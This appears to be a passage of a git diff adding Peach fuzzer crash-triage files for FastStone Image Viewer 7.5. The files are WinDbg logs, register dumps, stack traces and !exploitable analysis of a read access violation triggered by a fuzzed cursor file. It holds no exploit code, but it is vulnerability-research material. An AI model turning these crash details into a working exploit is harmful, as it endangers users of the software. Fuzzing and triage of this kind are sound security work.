00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(47c.eb8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=03ffed2d ecx=07f87b10 edx=00003879 esi=f3e30010 edi=07db0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.220825400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.96016e-018 1.66671e+031 -9.09025e-023 1.01846e-030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0021a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0021a000 f630b501 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0021a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f7e6ab9 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..bdeed19 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..2c7c600 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,210 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1094: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1094: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b80000 00000000`71ba2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b60000 00000000`71b7b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71990000 00000000`719b4000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`719c0000 00000000`71b59000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1094.16d0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=081255b0 edx=00003879 esi=14e295d0 edi=0d460fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.845192793179178080000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 3.851104700000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-4.71921e+009 6.56294e+022 -1.27711e-030 8.98654e-007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08208130 08185930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00367000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00367000 5d905199 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0b7 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00367000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..2c7c600 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 